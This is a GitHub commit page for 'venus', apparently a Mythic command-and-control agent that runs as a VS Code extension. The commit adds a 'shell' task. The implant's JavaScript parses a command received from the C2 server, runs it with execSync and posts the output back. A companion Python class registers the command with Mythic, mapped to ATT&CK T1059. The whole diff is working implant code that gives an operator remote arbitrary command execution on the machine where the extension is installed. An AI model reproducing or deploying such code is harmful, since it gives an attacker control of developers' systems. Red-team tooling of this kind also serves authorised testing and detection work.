Skip to content

Commit ec09eec

Browse files
committed
Implement a synchronous 'shell' command
- Records a 'Process Create' artifact for every command run Closes #31
1 parent 7057cbe commit ec09eec

File tree

2 files changed

+52
-0
lines changed

2 files changed

+52
-0
lines changed

Payload_Type/venus/agent_code/extension.js

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
const vscode = require('vscode');
22
const os = require('os');
3+
const { execSync } = require("child_process");
34
const url = require('url');
45

56
const axios = require('axios').default;
@@ -117,6 +118,10 @@ function handleTasks(context, tasks) {
117118
case 'pwd':
118119
output = process.cwd()
119120
break
121+
case 'shell':
122+
const cmd = JSON.parse(parameters)['command']
123+
output = execSync(cmd).toString()
124+
break
120125
}
121126
postTaskResponse(callbackUUID, taskID, output)
122127
}
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
from CommandBase import *
2+
from MythicResponseRPC import *
3+
import json
4+
5+
class ShellArguments(TaskArguments):
6+
def __init__(self, command_line):
7+
super().__init__(command_line)
8+
self.args = {
9+
"command": CommandParameter(
10+
name="command", type=ParameterType.String, description="Command to run"
11+
)
12+
}
13+
14+
async def parse_arguments(self):
15+
if len(self.command_line) > 0:
16+
if self.command_line[0] == "{":
17+
self.load_args_from_json_string(self.command_line)
18+
else:
19+
self.add_arg("command", self.command_line)
20+
else:
21+
raise ValueError("Missing arguments")
22+
23+
class ShellCommand(CommandBase):
24+
cmd = "shell"
25+
needs_admin = False
26+
help_cmd = "shell {command}"
27+
description = "This uses the execSync() Node.js function to execute arbitrary shell commands."
28+
version = 1
29+
is_exit = False
30+
is_file_browse = False
31+
is_process_list = False
32+
is_download_file = False
33+
is_remove_file = False
34+
is_upload_file = False
35+
author = "@mattreduce"
36+
attackmapping = ["T1059"]
37+
argument_class = ShellArguments
38+
39+
async def create_tasking(self, task: MythicTask) -> MythicTask:
40+
resp = await MythicResponseRPC(task).register_artifact(
41+
artifact_instance="{}".format(task.args.get_arg("command")),
42+
artifact_type="Process Create",
43+
)
44+
return task
45+
46+
async def process_response(self, response: AgentResponse):
47+
pass

0 commit comments

Comments
 (0)